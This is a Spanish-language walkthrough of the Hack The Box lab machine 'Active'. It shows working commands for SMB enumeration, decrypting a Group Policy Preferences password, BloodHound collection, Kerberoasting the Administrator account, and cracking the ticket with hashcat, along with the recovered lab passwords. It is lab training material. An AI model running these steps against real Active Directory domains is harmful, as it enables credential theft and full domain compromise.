# Active WriteUp

## Enumeracion

Iniciamos con un escaneo de nmap:

`$ nmap -sV -Pn -sC -T4 10.10.10.100`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223871247/1542365d-4b20-46d8-8450-1064bae8b4ea.png align="left")

Entramos como anonymous al smb para enumerar los shares disponbibles con:

`$ smbclient -L //10.10.10.100`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223883969/34c113ca-3a90-443b-863a-b05905363acf.png align="left")

Dentro encontramos unas policies con las credenciales de la cuenta de servicio `svc_tgs` con su clave `edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ` cifrada

Buscamos informacion sobre como decodear la clave obtenida

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223893469/d9f71319-2d7b-411a-b82a-e24041c495d1.png align="left")

[https://github.com/t0thkr1s/gpp-decrypt](https://github.com/t0thkr1s/gpp-decrypt)

Deciframos la clave con `gpp-decrypt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223901717/0de1368a-8fab-48e3-81f0-5529e6785d66.png align="left")

Conseguimos decifrar la clave: `GPPstillStandingStrong2k18`

---

## Acceso Inicial

Enumeramos los shares disponibles como svc\_tgs:

`$ nxc smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223909883/e1b94ad3-4138-4b36-91dd-fc26b1cd007b.png align="left")

Listamos los contenidos dentro de `/Users`:

`$ smbclient //10.10.10.100/Users -U '10.10.10.100\svc_tgs%GPPstillStandingStrong2k18'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223921760/742ce452-7f1d-4dba-9c72-7bb907d50b5b.png align="left")

Obtenemos la flag de user.txt en `\SVC_TGS\Desktop\`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223929419/392beed6-de7e-4804-8e3b-87de40b93f58.png align="left")

Enumeramos todo el AD con bloodhound para ver posibles vectores de escalada:

`$ bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 -c All --zip`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223938642/db7a80ec-4c2d-4f0a-9389-e393d22887bb.png align="left")

Encontramos que la cuenta `Administrator` posee un SPN apuntando al servicio de Samba en el puerto `445`:

`Service Principal Names: active/CIFS:445`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223945499/318a2539-bec5-4369-893c-b5f2430f0909.png align="left")

Un SPN (Service Principal Name o Nombre Principal del Servicio) es un identificador único en un entorno de Active Directory (AD) que asocia una instancia de servicio (como un servidor web o de bases de datos) con la cuenta de servicio que la ejecuta, permitiendo a los clientes autenticarse y conectarse al servicio correcto mediante el protocolo Kerberos.

> * Kerberos permite a **cualquier usuario de dominio** solicitar un ticket de servicio (TGS) para un SPN público, el DC entrega el ticket porque el cliente legítimo necesitaría ese ticket para autenticarse al servicio. No se exige privilegio especial para pedirlo.
>     
> * Ese TGS contiene una parte cifrada con la **clave del servicio**, y esa clave se deriva de la **contraseña de la cuenta** que tiene asignado el SPN (si es una cuenta de usuario o de servicio con contraseña).
>     
> * El atacante pide el TGS, lo guarda y extrae el bloque cifrado. Como el cifrado está basado en la clave/contraseña del servicio, el bloque se puede **atacar offline** (brute-force / dictionary) hasta recuperar la contraseña si ésta es débil.
>     
> * Por eso **cualquier SPN** que apunte a una cuenta con una contraseña debil es vulnerable: no importa qué servicio sea, lo que importa es que el ticket se cifre con la clave de esa cuenta.
>     

---

## PrivEsc via Kerberoasting

Solicitamos el ticket para el SPN objetivo con la cuenta `SVC_TGS` y lo volcamos a `tgt.txt` (archivo con el ticket cifrado):

`$ nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoast tgt.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223954841/5449ca3c-b2d7-4c58-9a0f-8aebba76ca3c.png align="left")

Crackeamos el ticket obtenido con hashcat y obtenemos la clave de Administrator:

`$ hashcat tgt.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223962202/ab1a4e63-f7eb-4c41-b234-a9d96a36a0de.png align="left")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223969713/8a5436cb-8532-4ba9-880e-13d33fc5815a.png align="left")

Password: `Ticketmaster1968`

Nos conectamos mediante SMB a /Users como Administrator con la clave previamente obtenida:

`$ smbclient //10.10.10.100/Users -U '10.10.10.100\Administrator%Ticketmaster1968'`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223976948/b234b16a-95c8-4543-9743-107e8e4b285c.png align="left")

Obtenemos la flag de root.txt en `\Administrator\Desktop\`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1759223983521/593351c6-4e9a-453d-84c5-2327a8fe4034.png align="left")

---

📌 **Sígueme / Portfolio**

🌐 **Web:** [https://0xnano.com](https://0xnano.com/)

[🐦](https://0xnano.xn--com-3t7sp340g) **X:** [https://x.com/0xN4no](https://x.com/0xN4no)

[🐙](https://www.linkedin.com/in/0xnano%EF%BF%BC%F0%9F%90%99) **GitHub:** [https://github.com/0xN4no](https://github.com/0xN4no)

![Nano](https://www.hackthebox.eu/badge/image/54373 align="left")

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

---
